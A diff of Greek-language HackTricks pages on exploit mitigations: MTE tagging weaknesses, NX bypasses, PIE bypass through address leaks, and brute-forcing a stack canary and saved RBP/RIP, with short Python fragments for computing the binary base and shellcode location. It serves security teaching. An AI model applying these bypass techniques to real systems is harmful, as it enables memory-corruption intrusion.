Οι διαχειριστές πυρήνα (όπως το `kmalloc`) θα **καλέσουν αυτή τη μονάδα** η οποία θα προετοιμάσει την ετικέτα που θα χρησιμοποιηθεί (τυχαία) για να την επισυνάψει στον χώρο πυρήνα που έχει εκχωρηθεί και στον επιστρεφόμενο δείκτη.
Σημειώστε ότι θα **επισημάνει μόνο αρκετά κομμάτια μνήμης** (16B το καθένα) για το ζητούμενο μέγεθος. Έτσι, αν το ζητούμενο μέγεθος ήταν 35 και δόθηκε ένα κομμάτι 60B, θα επισημάνει τα πρώτα 16\*3 = 48B με αυτή την ετικέτα και τα **υπόλοιπα** θα είναι **επισημασμένα** με μια τέτοια **μη έγκυρη ετικέτα (0xE)**.
Σημειώστε ότι θα **επισημάνει μόνο αρκετά κομμάτια μνήμης** (16B το καθένα) για το ζητούμενο μέγεθος. Έτσι, αν το ζητούμενο μέγεθος ήταν 35 και δόθηκε ένα κομμάτι 60B, θα επισημάνει τα πρώτα 16\*3 = 48B με αυτή την ετικέτα και τα **υπόλοιπα** θα είναι **επισημασμένα** με μια τότε ονομαζόμενη **μη έγκυρη ετικέτα (0xE)**.
Η ετικέτα **0xF** είναι το **αντιστοιχίζει όλους τους δείκτες**. Μια μνήμη με αυτόν το δείκτη επιτρέπει τη χρήση **οποιασδήποτε ετικέτας** για την πρόσβαση στη μνήμη της (χωρίς αναντιστοιχίες). Αυτό θα μπορούσε να αποτρέψει το MET από τον εντοπισμό μιας επίθεσης εάν αυτές οι ετικέτες χρησιμοποιούνται στη μνήμη που επιτίθεται.
Η ετικέτα **0xF** είναι το **αντιστοιχίζει όλους τους δείκτες**. Μια μνήμη με αυτόν το δείκτη επιτρέπει τη χρήση **οποιασδήποτε ετικέτας** για την πρόσβαση στη μνήμη της (χωρίς αναντιστοιχίες). Αυτό μπορεί να αποτρέψει το MET από τον εντοπισμό μιας επίθεσης εάν αυτή η ετικέτα χρησιμοποιείται στη μνήμη που επιτίθεται.
Συνεπώς, υπάρχουν μόνο **14 τιμές** που μπορούν να χρησιμοποιηθούν για τη δημιουργία ετικετών καθώς τα 0xE και 0xF είναι κρατημένα, δίνοντας μια πιθανότητα **επαναχρησιμοποίησης ετικετών** 1/17 -> περίπου **7%**.
Συνεπώς, υπάρχουν μόνο **14 τιμές** που μπορούν να χρησιμοποιηθούν για τη δημιουργία ετικετών, καθώς τα 0xE και 0xF είναι κρατημένα, με πιθανότητα **επαναχρησιμοποίησης ετικετών** 1/17 -> περίπου **7%**.
Εάν ο πυρήνας έχει πρόσβαση στο **κομμάτι μνήμης με τη μη έγκυρη ετικέτα**, η **αναντιστοιχία** θα **ανιχνευθεί**. Εάν έχει πρόσβαση σε άλλη τοποθεσία μνήμης, αν η **μνήμη έχει διαφορετική ετικέτα** (ή τη μη έγκυρη ετικέτα) η αναντιστοιχία θα **ανιχνευθεί**. Εάν ο επιτιθέμενος έχει την τύχη και η μνήμη χρησιμοποιεί την ίδια ετικέτα, δεν θα ανιχνευθεί. Οι πιθανότητες είναι περίπου 7%.
Μια άλλη αδυναμία συμβαίνει στο **τελευταίο κομμάτι** της εκχωρημένης μνήμης. Αν η εφαρμογή ζήτησε 35B, της δόθηκε το κομμάτι από 32 έως 48. Συνεπώς, τα **bytes από 36 έως 47 χρησιμοποιούν την ίδια ετικέτα** αλλά δεν ζητήθηκαν. Αν ο επιτιθέμενος έχει πρόσβαση **σε αυτά τα επιπλέον bytes, αυτό δεν ανιχνεύεται**.
Ένα άλλο σφάλμα συμβαίνει στο **τελευταίο κομμάτι** της εκχωρημένης μνήμης. Αν η εφαρμογή ζήτησε 35B, της δόθηκε το κομμάτι από 32 έως 48. Συνεπώς, τα **bytes από 36 μέχρι 47 χρησιμοποιούν την ίδια ετικέτα** αλλά δεν ζητήθηκαν. Αν ο επιτιθέμενος έχει πρόσβαση **σε αυτά τα επιπλέον bytes, αυτό δεν ανιχνεύεται**.
Όταν εκτελείται το **`kfree()`**, η μνήμη επανασημαίνεται με τη μη έγκυρη ετικέτα μνήμης, έτσι σε ένα **use-after-free**, όταν η μνήμη έχει ξανά πρόσβαση, η **αναντιστοιχία ανιχνεύεται**.
Ωστόσο, σε ένα use-after-free, αν το ίδιο **κομμάτι επανεκχωρηθεί με ΤΗΝ ΙΔΙΑ ετικέτα** όπως προηγουμένως, ένας επιτιθέμενος θα μπορεί να χρησιμοποιήσει αυτήν την πρόσβαση και αυτό δεν θα ανιχνευθεί (περίπου 7% πιθανότητα).
Ωστόσο, σε ένα use-after-free, αν το ίδιο **κομμάτι επανεκχωρηθεί με την ίδια ετικέτα** όπως προηγουμένως, ένας επιτιθέμενος θα μπορεί να χρησιμοποιήσει αυτήν την πρόσβαση και αυτό δεν θα ανιχνευθεί (περίπου 7% πιθανότητα).
Επιπλέον, μόνο οι **`slab` και `page_alloc`** χρησιμοποιούν ετικεταρισμένη μνήμη αλλά στο μέλλον αυτό θα χρησιμοποιηθεί επίσης σε `vmalloc`, `stack` και `globals` (στη στιγμή του βίντεο αυτά μπορούν ακόμα να καταχραστούνται).
Επιπλέον, μόνο οι **`slab` και `page_alloc`** χρησιμοποιούν μνήμη με ετικέτες, αλλά στο μέλλον αυτό θα χρησιμοποιηθεί επίσης σε `vmalloc`, `stack` και `globals` (στη στιγμή του βίντεο αυτά μπορούν ακόμα να καταχραστούνται).
Όταν ανιχνευθεί μια **αναντιστοιχία**, ο πυρήνας θα **πανικοβάλλει** για να αποτρέψει περαιτέρω εκμετάλλευση και επαναλήψεις της εκμετάλλευσης (το MTE δεν έχει Ϩενικά θετικά).
Όταν ανιχνευθεί μια **αναντιστοιχία**, ο πυρήνας θα **πανικοβάλλει** για να αποτρέψει περαιτέρω εκμετάλλευση και επαναλήψεις της εκμετάλλευσης (το MTE δεν έχει ψευδείς θετικές).
## Αναφορές

View file

@ -1,22 +1,23 @@
# No-exec / NX
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Βασικές Πληροφορίες
Το **No-Execute (NX)** bit, γνωστό και ως **Execute Disable (XD)** στην ορολογία της Intel, είναι μια υλικού βάσης λειτουργική χαρακτηριστικό σχεδιασμένο για να **αντιμετωπίσει** τις επιπτώσεις των επιθέσεων **buffer overflow**. Όταν εφαρμόζεται και ενεργοποιείται, διακρίνει μεταξύ περιοχών μνήμης που προορίζονται για **εκτελέσιμο κώδικα** και αυτών που προορίζονται για **δεδομένα**, όπως η **στοίβα** και το **σωρό**. Η βασική ιδέα είναι να αποτρέψει έναν επιτιθέμενο από το να εκτελέσει κακόβουλο κώδικα μέσω ευπαθειών buffer overflow τοποθετώντας τον κακόβουλο κώδικα στη στοίβα, για παράδειγμα, και καθοδηγώντας τη ροή εκτέλεσης προς αυτόν.
Το **No-Execute (NX)** bit, γνωστό και ως **Execute Disable (XD)** στην ορολογία της Intel, είναι μια λειτουργία ασφαλείας βασισμένη στο υλικό σχεδιασμένη για να **αντιμετωπίσει** τις επιπτώσεις των επιθέσεων **buffer overflow**. Όταν εφαρμόζεται και ενεργοποιείται, διακρίνει μεταξύ περιοχών μνήμης που προορίζονται για **εκτελέσιμο κώδικα** και αυτών που προορίζονται για **δεδομένα**, όπως η **στοίβα** και το **σωρό**. Η βασική ιδέα είναι να αποτρέψει έναν επιτιθέμενο από το να εκτελέσει κακόβουλο κώδικα μέσω ευπαθειών buffer overflow τοποθετώντας τον κακόβουλο κώδικα στη στοίβα, για παράδειγμα, και καθοδηγώντας τη ροή εκτέλεσης προς αυτόν.
## Παρακάμψεις
@ -24,3 +25,18 @@
* [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
* **Ret2...**
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# PIE
{% hint style="success" %}
Μάθε & εξάσκησε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθε & εξάσκησε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Βασικές Πληροφορίες
Ένα δυαδικό που έχει μεταγλωττιστεί ως PIE, ή **Position Independent Executable**, σημαίνει ότι το **πρόγραμμα μπορεί να φορτωθεί σε διαφορετικές θέσεις μνήμης** κάθε φορά που εκτελείται, αποτρέποντας τις σκληροκωδικοποιημένες διευθύνσεις.
Το κόλπο για την εκμετάλλευση αυτών των δυαδικών βρίσκεται στην εκμετάλλευση των **σχετικών διευθύνσεων**οι μετατοπίσεις μεταξύ τμημάτων του προγράμματος παραμένουν ίδιες ακόμη κι αν οι απόλυτες τοποθεσίες αλλάξουν. Για να **παρακάμψετε το PIE, χρειάζεται μόνο να διαρρεύσετε μια διεύθυνση**, συνήθως από τη **στοίβα** χρησιμοποιώντας ευπάθειες όπως οι επιθέσεις με format string. Αφού έχετε μια διεύθυνση, μπορείτε να υπολογίσετε άλλες με βάση τις **σταθερές μετατοπίσεις** τους.
Το κόλπο για την εκμετάλλευση αυτών των δυαδικών βρίσκεται στην εκμετάλλευση των **σχετικών διευθύνσεων** - οι μετατοπίσεις μεταξύ τμημάτων του προγράμματος παραμένουν ίδιες ακόμα κι αν οι απόλυτες τοποθεσίες αλλάζουν. Για να **παρακάμψετε το PIE, χρειάζεται μόνο να διαρρεύσετε μια διεύθυνση**, συνήθως από τη **στοίβα** χρησιμοποιώντας ευπάθειες όπως οι επιθέσεις με format string. Αφού αποκτήσετε μια διεύθυνση, μπορείτε να υπολογίσετε άλλες με βάση τις **σταθερές μετατοπίσεις** τους.
Ένα χρήσιμο υπόδειγμα στην εκμετάλλευση των δυαδικών PIE είναι ότι η **βασική διεύθυνσή τους τελειώνει συνήθως σε 000** λόγω των σελίδων μνήμης που είναι οι μονάδες τυχαιοποίησης, μεγέθους 0x1000 bytes. Αυτή η ευθυγράμμιση μπορεί να είναι ένα κρίσιμο **έλεγχος αν ένα εκμεταλλευτικό δεν λειτουργεί** όπως αναμένεται, υποδεικνύοντας εάν έχει εντοπιστεί η σωστή βασική διεύθυνση.\
Ένα χρήσιμο υπόδειγμα στην εκμετάλλευση των δυαδικών PIE είναι ότι η **βασική διεύθυνσή τους τελειώνει συνήθως σε 000** λόγω των σελίδων μνήμης που είναι οι μονάδες τυχαιοποίησης, μεγέθους 0x1000 bytes. Αυτή η ευθυγράμμιση μπορεί να είναι ένα κρίσιμο **έλεγχος αν ένα εκμετάλλευση δεν λειτουργεί** όπως αναμένεται, υποδεικνύοντας εάν έχει εντοπιστεί η σωστή βασική διεύθυνση.\
Ή μπορείτε να χρησιμοποιήσετε αυτό για την εκμετάλλευσή σας, αν διαρρεύσετε ότι μια διεύθυνση βρίσκεται στο **`0x649e1024`** ξέρετε ότι η **βασική διεύθυνση είναι `0x649e1000`** και από εκεί μπορείτε απλά να **υπολογίσετε τις μετατοπίσεις** των λειτουργιών και των τοποθεσιών.
## Παρακάμψεις
Για να παρακάμψετε το PIE χρειάζεται να **διαρρεύσετε κάποια διεύθυνση του φορτωμένου** δυαδικού, υπάρχουν μερικές επιλογές γι' αυτό:
* **Απενεργοποιημένο ASLR**: Αν το ASLR είναι απενεργοποιημένο ένα δυαδικό μεταγλωττισμένο με PIE θα φορτώνεται πάντα **στην ίδια διεύθυνση**, επομένως το **PIE θα είναι άχρηστο** καθώς οι διευθύνσεις των αντικειμένων θα είναι πάντα στον ίδιο χώρο.
* Να **σας δοθεί** η διαρροή (συνηθισμένο σε εύκολες προκλήσεις CTF, [**ελέγξτε αυτό το παράδειγμα**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
* **Δοκιμάστε όλες τις τιμές του EBP και του EIP** στη στοίβα μέχρι να διαρρεύσετε τις σωστές:
* **Απενεργοποιημένο ASLR**: Εάν το ASLR είναι απενεργοποιημένο ένα δυαδικό με μεταγλώττιση ως PIE θα φορτώνεται πάντα **στην ίδια διεύθυνση**, επομένως το **PIE θα είναι άχρηστο** καθώς οι διευθύνσεις των αντικειμένων θα είναι πάντα στον ίδιο χώρο.
* Να **σας δοθεί** η διαρροή (συνηθισμένη σε εύκολες προκλήσεις CTF, [**ελέγξτε αυτό το παράδειγμα**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
* **Δοκιμάστε όλες τις τιμές EBP και EIP** στη στοίβα μέχρι να διαρρεύσετε τις σωστές:
{% content-ref url="bypassing-canary-and-pie.md" %}
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
@ -41,16 +42,17 @@
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
{% hint style="success" %}
Μάθε & εξάσκησε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθε & εξάσκησε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,32 +1,33 @@
# Διευθύνσεις BF στη Στοίβα
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
**Αν αντιμετωπίζετε ένα δυαδικό που προστατεύεται από ένα canary και το PIE (Position Independent Executable) πιθανότατα χρειάζεστε να βρείτε έναν τρόπο να τα παρακάμψετε.**
![](<../../../.gitbook/assets/image (862).png>)
![](<../../../.gitbook/assets/image (865).png>)
{% hint style="info" %}
Σημειώστε ότι το **`checksec`** ενδέχεται να μην εντοπίσει ότι ένα δυαδικό προστατεύεται από ένα canary αν αυτό ήταν στατικά μεταγλωττισμένο και δεν είναι ικανό να αναγνωρίσει τη λειτουργία.\
Σημειώστε ότι το **`checksec`** ενδέχεται να μην εντοπίσει ότι ένα δυαδικό προστατεύεται από ένα canary αν αυτό έχει συντακτεί στατικά και δεν είναι ικανό να αναγνωρίσει τη λειτουργία.\
Ωστόσο, μπορείτε να παρατηρήσετε χειροκίνητα αυτό αν βρείτε ότι μια τιμή αποθηκεύεται στη στοίβα στην αρχή μιας κλήσης συνάρτησης και αυτή η τιμή ελέγχεται πριν την έξοδο.
{% endhint %}
## Διευθύνσεις Brute-Force
Για να **παρακάμψετε το PIE** χρειάζεστε να **διαρρεύσετε μια διεύθυνση**. Και αν το δυαδικό δεν διαρρέει καμία διεύθυνση, το καλύτερο είναι να **δοκιμάσετε βίαια το RBP και το RIP που αποθηκεύονται στη στοίβα** στην ευάλωτη συνάρτηση.\
Για παράδειγμα, αν ένα δυαδικό προστατεύεται χρησιμοποιώντας τόσο ένα **canary** όσο και το **PIE**, μπορείτε να ξεκινήσετε τη βίαιη δοκιμή του canary, στη συνέχεια τα **επόμενα** 8 Bytes (x64) θα είναι το αποθηκευμένο **RBP** και τα **επόμενα** 8 Bytes θα είναι το αποθηκευμένο **RIP.**
Για παράδειγμα, αν ένα δυαδικό προστατεύεται χρησιμοποιώντας τόσο ένα **canary** όσο και το **PIE**, μπορείτε να αρχίσετε τη βίαιη δοκιμή του canary, στη συνέχεια τα **επόμενα** 8 Bytes (x64) θα είναι το αποθηκευμένο **RBP** και τα **επόμενα** 8 Bytes θα είναι το αποθηκευμένο **RIP.**
{% hint style="success" %}
Υποθέτεται ότι η διεύθυνση επιστροφής μέσα στη στοίβα ανήκει στον κύριο κώδικα του δυαδικού, ο οποίος, αν η ευπάθεια βρίσκεται στον κώδικα του δυαδικού, συνήθως θα είναι η περίπτωση.
@ -82,21 +83,21 @@ RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
Το τελευταίο πράγμα που χρειάζεστε για να ξεπεράσετε το PIE είναι να υπολογίσετε **χρήσιμες διευθύνσεις από τις διευθύνσεις που διέρρευσαν**: το **RBP** και το **RIP**.
Από το **RBP** μπορείτε να υπολογίσετε **πού γράφετε το shell σας στο stack**. Αυτό μπορεί να είναι πολύ χρήσιμο για να γνωρίζετε πού θα γράψετε το string _"/bin/sh\x00"_ μέσα στο stack. Για να υπολογίσετε την απόσταση μεταξύ του διερραγέντος RBP και του shellcode σας, απλά μπορείτε να τοποθετήσετε ένα **σημείο ανακοπής μετά τη διαρροή του RBP** και να ελέγξετε **πού βρίσκεται ο κώδικας του shell σας**, έπειτα, μπορείτε να υπολογίσετε την απόσταση μεταξύ του shellcode και του RBP:
Από το **RBP** μπορείτε να υπολογίσετε **πού γράφετε το shell σας στο stack**. Αυτό μπορεί να είναι πολύ χρήσιμο για να γνωρίζετε πού θα γράψετε το string _"/bin/sh\x00"_ μέσα στο stack. Για να υπολογίσετε την απόσταση μεταξύ του διερραγμένου RBP και του shellcode σας, μπορείτε απλά να τοποθετήσετε ένα **σημείο ανακοπής μετά τη διαρροή του RBP** και να ελέγξετε **πού βρίσκεται ο κώδικας του shell σας**, έπειτα, μπορείτε να υπολογίσετε την απόσταση μεταξύ του shellcode και του RBP:
```python
INI_SHELLCODE = RBP - 1152
```
Από το **RIP** μπορείτε να υπολογίσετε τη **βασική διεύθυνση του PIE δυαδικού** που θα χρειαστείτε για να δημιουργήσετε μια **έγκυρη ROP αλυσίδα**.\
Από τον **RIP** μπορείτε να υπολογίσετε τη **βασική διεύθυνση του δυναμικού εκτελέσιμου αρχείου (PIE binary)** το οποίο θα χρειαστείτε για να δημιουργήσετε μια **έγκυρη ROP αλυσίδα**.\
Για να υπολογίσετε τη βασική διεύθυνση, απλώς εκτελέστε `objdump -d vunbinary` και ελέγξτε τις τελευταίες διευθύνσεις αποσυναρμολόγησης:
![](<../../../.gitbook/assets/image (476).png>)
![](<../../../.gitbook/assets/image (479).png>)
Σε αυτό το παράδειγμα μπορείτε να δείτε ότι χρειάζονται μόνο **1 Byte και μισό** για να εντοπίσετε όλο τον κώδικα, στη συνέχεια, η βασική διεύθυνση σε αυτήν την κατάσταση θα είναι το **διαρρεύσει RIP αλλά τελειώνοντας στο "000"**. Για παράδειγμα, αν διέρρευσε `0x562002970ecf` η βασική διεύθυνση θα είναι `0x562002970000`
Σε αυτό το παράδειγμα μπορείτε να δείτε ότι χρειάζεται μόνο **1 Byte και μισό** για να εντοπίσετε όλο τον κώδικα, έτσι, η βασική διεύθυνση σε αυτήν την κατάσταση θα είναι η **διέρρευση του RIP αλλά να τελειώνει σε "000"**. Για παράδειγμα, αν διέρρευσετε `0x562002970ecf` η βασική διεύθυνση θα είναι `0x562002970000`
```python
elf.address = RIP - (RIP & 0xfff)
```
## Βελτιώσεις
Σύμφωνα με [**μερικές παρατηρήσεις από αυτήν την ανάρτηση**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), είναι δυνατόν όταν διαρρέει τις τιμές του RBP και RIP, ο διακομιστής να μην καταρρέει με μερικές τιμές που δεν είναι οι σωστές και το BF script θα νομίζει ότι έχει λάβει τις σωστές. Αυτό συμβαίνει επειδή είναι δυνατόν ότι **μερικές διευθύνσεις απλά δεν θα το σπάσουν ακόμα κι αν δεν είναι ακριβώς οι σωστές**.
